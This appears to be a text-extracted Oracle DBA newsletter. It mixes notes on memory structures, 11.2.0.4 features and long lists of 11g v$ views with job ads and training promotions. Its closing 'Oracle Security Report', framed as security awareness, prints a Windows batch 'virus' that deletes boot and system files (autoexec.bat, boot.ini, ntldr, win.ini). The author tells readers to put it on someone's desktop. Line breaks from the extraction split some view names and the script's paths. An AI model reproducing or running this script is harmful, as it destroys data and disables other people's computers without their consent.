Ora Master

Q

INTERVIEW QUESTION
A table is classified as a parent
table and you want to drop and re-
create it. How would you do this
without affecting the children
tables?

Oracle Memory Structures
Oracle uses the server’s physical
memory to hold many things for an
Oracle instance: the Oracle
executable code itself, session
information, individual processes
associated with the database,
and information shared between
processes (such as locks on database
objects). In addition,
the memory structures contain user
and data dictionary SQL statements,
along with cached
information that is eventually
permanently stored on disk, such as
data blocks from database
segments and information about
completed transactions in the
database. The data area allocated
for an Oracle instance is called the
System Global Area (SGA) . The
Oracle executables reside in
the software code area. In addition,
an area called the Program Global
Area (PGA) is private to
each server and background process;
one PGA is allocated for each
process. Below Figure shows the
relationships between these Oracle
memory structures.

We at KPIT Cummins are looking at
hiring Oracle Core DBA for Bangalore
location.
Other details are as under:
Mandatory Skills: Exposure to
Backup,recovery, RAC, ASM
Experience range : 3-6 years
Interested folks kindly forward your
resume to ID - Revati.Bordawek
[email protected]

we have Urgent Opening FOR
Oracle DBA with 2+ years of
experience , interested candidates
send their cvs to itjobs4all@ymai
l.com

11.2.0.4 new features and a
OPTIMIZER_DYNAMIC_
SAMPLING change
As of 27th August 2013, 11.2.0.4,
the final release of 11GR2 was made
available – a new features document
is available . I will give a quick
bullet list of the new features and
then discuss one very important one
that is not mentioned.

√ Oracle Data Redaction –
provides a new A*O (cost £££)
option to redact specified
information, even at runtime,
from within the database.

√ Trace File Analyzer and
Collector, is a diagnostic
collection utility to simplify
diagnostic data collection on
Oracle Clusterware, Oracle Grid
Infrastructure – looks well
worth investigating

√ ** RACcheck – The Oracle RAC
Configuration Audit Tool – to
perform regular health checks
as well as pre- and post-
upgrade best practices
assessments. Only written for
linux so needed adapting for
HPUX and needs to have the
root password – an issue for
many DBAs…

√ **Database Replay Support for
Database Consolidation – run
lots of scenarios- batch, online,
monthly process all at the
same time even though
captured at different periods.

√ Optimization for Flashback
Data Archive History Tables –
use the OPTIMIZE DATA clause
when creating or altering a
flashback data archive.
So the one that has not appeared in
that list, probably because it is not
a new feature as such is tan
additional value for the init.ora
parameter
OPTIMIZER_DYNAMIC_SAMPLING.
This comes into play when a table
does not have any statistics and the
parameter is enabled. The previous
default setting of 2 was to use
dynamic statistics if at least one
table in the statement has no
statistics and the number of blocks
that the statistics would be based
on would be 64 and the value could
range between 2 and 10 , each value
doubling the number of blocks that
will be sampled. The new value of
11 means that the optimizer will
gather dynamic statistics
automatically whenever the
optimizer deems it necessary and
based on the number of blocks it
thinks appropriate.

To know more about join our
introduction class on Saturday, 14
December at 9:00AM. Should you need more information
you may contact +91 9963004000

The "in-memory option" for Oracle's
12c database:
This allows users of Oracle's 12c
database to "just flip a switch" and
the database will suddenly work at
speeds of at least 100 times faster.
The 12c database was released at
last year's Oracle World conference.
It is a database designed for cloud
computing, for companies like
Wikipedia, Yahoo, and
Salesforce.com. A new server with lot
of memory for running the in-
memory 12c database. The new
server is called the M6-32 Big
Memory Machine, and it includes 32
terabytes of memory, enough to hold
an enormous database.
To know more about join our
introduction class on Saturday,
you need more information
you may contact +91 9963004000.

Talent Pool Technologies is Looking
for Freelance Trainers and
Consultants
Objective:
If you are a fresher or a experienced
candidate, have good written and
verbal communication skills and
wish to make your career into
corporate trainings. Do get in touch
with us, we are looking for Freelance
Trainers and Consultants who have
passion to deliver Corporate
Trainings and would like to work
with Talent Pool Consulting Pvt. Ltd.
as an associate/consultant on
freelance basis.
Company:
Talent Pool Technologies India Pvt.
Ltd.
Domains:
1. Communication Soft Skills
2. Voice and Accent Training
3. Personality Development
4. Etiquette
5. Negotiation Skills
6. Time Management
7. Neuro Linguistic Programming
8. Problem Solving
9. Interviewing Skills
10. Dermatoglyphics Counselling
11. SEM, SEO, Sales Training
12. Technical (Java , .net , PHP ,
Oracle, RoR, RoG)
13. Corporate trainer- Information
Security
And other Corporate Trainings
Desired Candidate Profile:
Education:
UG - Any Graduate - Any
Specialization
PG - Any Postgraduate - Any
Specialization, Post Graduation Not
Required
Doctorate - Any Doctorate - Any
Specialization, Doctorate Not
Required
Experience – 0 – 10 years - freshers
welcome to apply.
Interested candidates please mail us
your resume at shishir@talentp
ooltechnologies.com.
For further inquiries, feel free to
contact Shishir Mishra (Head -
Engagement, Strategy & Delivery)
(0172-3292221)

Top 10 tech companies in the world
based on their annual
revenues reported:
10. Dell – United States – $62.07
Billion
9. Sony – Japan – $67.4 Billion
8. Microsoft – United States – $73.72
Billion
7. Toshiba – Japan – $74.39 Billion
6. Panasonic – Japan – $99.65 Billion
5. IBM – United States – $106.91
Billion
4. Foxconn – Taiwan – $117.51 Billion
3. Hewlett Packard – United States –
$120.35 Billion
2. Samsung Electronics – South Korea
– $149 Billion
1. Apple, Inc. – United States –
$156.5

11g Dynamic v$ Performance Views
With each new major release and
version of Oracle, dozens if not
hundreds of new dynamic
performance v$ views are added.
For instance, in Oracle 10gR2, there
are 398 dynamic performance v$
views. In Oracle 11gR1 there are
now 484 dynamic performance v$
views which means that between
10gR2 and 11gR1, there are 86 new
v$ views in 11gR1.
So how does one find out what all
of the dynamic performance views
are within Oracle 11g? Well, one
needs a query such as the following
to run against the v$fixed_table to
obtain the full listing.
SELECT
NAME,
TYPE
FROM
V$FIXED_TABLE
WHERE
NAME LIKE 'V$%';
Oracle creates the v$ views from
the x$ structures. The actual v$
view create view definitions are
located in $ORACLE_HOME/rdbms/
admin directory so you can see how
the v$ views are built on the x$
structures.
Oracle 11g New Features
The follow v$ views are used by
the new 11g result cache:
v$result_cache_statistics
v$result_cache_memory
v$result_cache_objects
v$result_cache_dependency
v
$client_result_cache_stats
The Oracle 11g RAT suite includes
database replay and the following v
$ view provides details on usage
and status for this key new 11g
feature with Oracle.
V$WORKLOAD_REPLAY_THREAD
For the new 11g feature for the
Incident Repair component of the
11g ADR, there are the following v$
views:
v$ir_failure
v
$ir_repair
v
$ir_manual_checklist
v
$ir_failure_set
The 11g health monitor (HM) is
linked to the following v$ views
listed below:
v$hm_check
v
$hm_check_param
v
$hm_run
v
$hm_finding
v
$hm_recommendation
v
$hm_info
V$ Views-Oracle 11g NFS New
Features
Oracle 11g provides a new feature
to setup NFS based files within
Oracle 11g. The following v$ views
provide the details for NFS
configuration within Oracle 11g.
v$nfs_clients
v$nfs_open_files
v$nfs_locks
v$iostat_network
Oracle 11g Backup and Recovery
Backup and Recovery is the most
important function of the serious
Oracle DBA and can mean the
difference between life and death
in terms of corporate safety and job
security. The following v$ views
provide details for Oracle 11g
Backup and Recovery.
v
$rman_backup_subjob_details
v$rman_backup_job_details
v$backup_set_details
v$backup_piece_details
v$backup_copy_details
$backup
v$recovery_status
v$recovery_file_status
v$backup_set
v$backup_piece
v$backup_datafile
v$backup_redolog
v$backup_corruption
v$backup_device
v$backup_spfile
v$backup_sync_io
v$backup_async_io
v$recover_file
v$rman_status
v$rman_output
v$backup_datafile_details
v$backup_controlfile_details
v$backup_archivelog_details
v$backup_spfile_details
v$backup_datafile_summary
v$backup_controlfile_summary
v$backup_archivelog_summary
v$backup_spfile_summary
v$backup_set_summary
v$recovery_progress
v$rman_backup_type
v$rman_configuration
Oracle 11g RAC and ASM, Oracle
11g Data Guard and 11g Streams
Oracle 11g RAC and ASM provide
highly available robust architectures
for performance, service and
reliability as part of the Oracle
Maximum Availability Architecture
(MAA). The following v$ views
provide details on these key HA
technologies.
11g Data Guard
v$dataguard_config
v$dataguard_status
v$managed_standby
v$logstdby
v$logstdby_stats
v$logstdby_transaction
v$logstdby_process
v$logstdby_progress
v$logstdby_state
11g Streams
v$streams_apply_coordinator
v$streams_apply_server
v$streams_apply_reader
v$streams_capture
v$streams_transaction
v$streams_message_tracking
11g RAC
v$cluster_interconnects
v$configured_interconnects
v$dynamic_remaster_stats
v$dlm_misc
v$dlm_latch
v$dlm_convert_local
v$dlm_convert_remote
v$ges_enqueue
v$ges_blocking_enqueue
v$dlm_all_locks
v$dlm_locks
v$dlm_ress
v$global_blocked_locks
11g ASM
v$asm_template
v$asm_alias
v$asm_file
v$asm_client
v$asm_diskgroup
v$asm_diskgroup_stat
v$asm_disk
v$asm_disk_stat
$asm_disk_iostat
v$asm_operation
v$asm_attribute
Performance Tuning Oracle 11g
Performance tuning is a complex
task that daunts many Oracle DBAs.
It is as much an art as a science.
While GUI tools such as Oracle
Enterprise Manager and Quest
TOAD provide a nice slick graphical
interface, to dig into the internal
nuts and bolts of database
performance, the serious Oracle
performance analyst relies on
reports generated by v$ dynamic
performance views from within the
Oracle 11g data dictionary. The
following v$ views provide insight
into database tuning for Oracle 11g.
Wait Events for 11g
v$session
v$waitclassmetric
v$waitclassmetric_history
v$waitstat
v$wait_chains
Oracle 11g Concurrency and SQL
Tuning
v$lock
v$sql
v$sqlarea
v$sesstat
v$mystat
v$sess_io
v$sysstat
v$statname
v$osstat
v$active_session_history
v$active_sess_pool_mth
v$session_wait
v$session_wait_class
v$system_wait_class
v$transaction
v$locked_object
v$latch
v$latch_children
v$latch_parent
v$latchname
v$latchholder
v$latch_misses
v$enqueue_lock
v$transaction_enqueue
v$sys_optimizer_env
v$ses_optimizer_env
v$sql_optimizer_env
v$sql_plan
v$sql_plan_statistics
v$sql_plan_statistics_all
Oracle 11g Memory Tuning
v$sga
v$sgastat
v$sgainfo
v$sga_current_resize_ops
v$sga_resize_ops
v$sga_dynamic_components
v$sga_dynamic_free_memory
v$pgastat
v$sql_workarea_histogram
v
$pga_target_advice_histogram
v$pga_target_advice
v$memory_current_resize_ops
v$memory_resize_ops
v$memory_dynamic_components
v$library_cache_memory
v$shared_pool_advice
v$java_library_cache_memory
v$java_pool_advice
v$streams_pool_advice
For a description of the DBA wait
event views, see the " free 11g
poster " by UNISYS.
Here is a list of the v$ views with
notes from my site: (Work in
progress):
v$archive_dest
v$archive_dest_status
v$archive_gap
v$archive_processes
v$archived_log
v$bh
v$buffer_pool
v$buffer_pool_statistics
v$controlfile
v$controlfile_record_section
v$database
v$datafile
v$datafile_header
v$dataguard_status
v$db_object_cache
v$enqueue_stat
v$event_name
v$eventmetric
v$filemetric
v$filestat
v$fixed_table
v$fixed_view_definition
v$instance
v$latch
v$librarycache
v$lock
v$locked_object
v$log
v$log_history
v$logfile
v$logmnr_contents
v$logstdby
v$managed_standby
v$mystat
v$nls_parameters
v$nls_valid_values
v$object_usage
v$open_cursor
v$option
v$parameter
v$pgastat
v$process
v$pwfile_users
v$recover_file
v$reserved_words
v$resource_limit
v$rollname
v$rollstat
v$session
v$session_event
v$session_longops
v$session_wait
v$session_wait_history
v$sessmetric
v$sesstat
v$sga
v$sga_dynamic_components
v$sga_resize_ops
v$sgastat
v$sort_segment
v$sort_usage
v$spparameter
v$sql
v$sql_bind_capture
v$sql_bind_data
v$sql_cursor
v$sql_plan
v$sql_text_with_newlines
v$sql_workarea
v$sqlarea
v$sqltext
v$sqltext_with_newlines
v$standby_log
v$statname
v$sysaux_occupants
v$sysmetric
v$sysmetric_history
v$sysstat
v$system_event
v$tempfile
v$tempseg_usage
v$tempseg_usage
v$tempstat
v$thread
v$timer
v$timezone_names
v$transaction
v$transportable_platform
v$undostat
v$version
v$waitstat

Transaction Logging Mode in
Oracle and Sql Server
Oracle has two options for logging:
ARCHIVELOG mode and
NOARCHIVELOG mode.
Transactions are still logged to the
online redo logs, but the difference
here is whether or not the redo logs
are archived out to disk when full.
SQL Server has three different
logging modes: Full, Bulk Logged and
Simple. Full and Simple respectively
correspond to the two Oracle
methods.

Oracle Security Report

Lot of question came to my mind
when I start talking about oracle
security, How to secure my
databases, what should I do?
Adding Firewall to my network is it
enough? Enable Oracle Audit
Parameter will be enough?
Understand Security as concept is
very important to reduce risk of
attack and to do that you should
make your system is secure.
Having Security awareness is first
step to secure the system.
According to RSA reports, there was
7% increase in amount of phishing
attacks worldwide between months
of July and August 2010, The
United States currently leads as
the country that suffered the most
attacks in regards to online cyber
threats with 35% of these aimed at
citizens of the US; the US was also
the country that hosted the most
attacks, with 60% of phishing
attacks starting from the US.
The below Graph Show Number of
network Security Breaches over Past
12 months (Graph Made by
Ponemon Institute)
Included to above reports 1$
trillion the total value of
intellectual property hackers stole
from business around the world in
2008.
As proof for this I will mention
three different stories for the
biggest top “black hat” hackers
The below Graph Shown How much
Did the Cyber-attack Cost Company
over 12 month (Graph Made by
Ponemon Institute)
Jonathan James when he hacked
NASA he was 16 years old with that
he was the first juvenile sent to
the present, Installed backdoor
into defense threats reductions
agency server and jacked into
NASA Computers stealing software
worth 1.7M $ Costing NASA
41,000$ in Repair.
Adrian Lamo Hacked into NY Times
and Microsoft using wifi Coffee
shop, Viewed Personal Information
and High profile Subject matter
The last example Kevin Mitnick
spent two years stealing corporate
secrets and breaking into the US
national defense warning system.
Computer Hacking is usually used
as stereotypes in movies and
cartoons as Guy sitting behind
desk with Pepsi Can and not that
much luck with ladies , the truth is
this guy cost people and
companies money and privacy,
therefor the hacking effects on
individuals , organizations and
company.
As individuals victims of computer
hacking will lose their saving,
privacy even their life, in the early
days of computer the virus was the
biggest security risk which is cause
data losing. After that it’s replaced
with malware which is small
software designed to do job such
as key logger or virus scanner but
now this software not more any fun
since the hackers now creating
malware.
Nothing easier today than writing
virus just to do annoying things,
the below code just an example
how writing a virus.
You can find step to write virus,
Trojan or even worm on the
internet and for free, this is what
makes problem bigger, because
internal user can read this
information and start using them
so you should prepare to all these
kind of attacks.
The below example for simple
virus, all you have to do is save as
batch file and put it on someone
desktop
off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows
\win.ini
del c:\windows\win.ini
msg * SEND->> JOIN EVILKING
TO +919870807070 for hacking
tricks
The Above subject is only part One
of Overview I will Post More topics
included Full Description how to
secure Oracle Database.
Thank you

Ahmer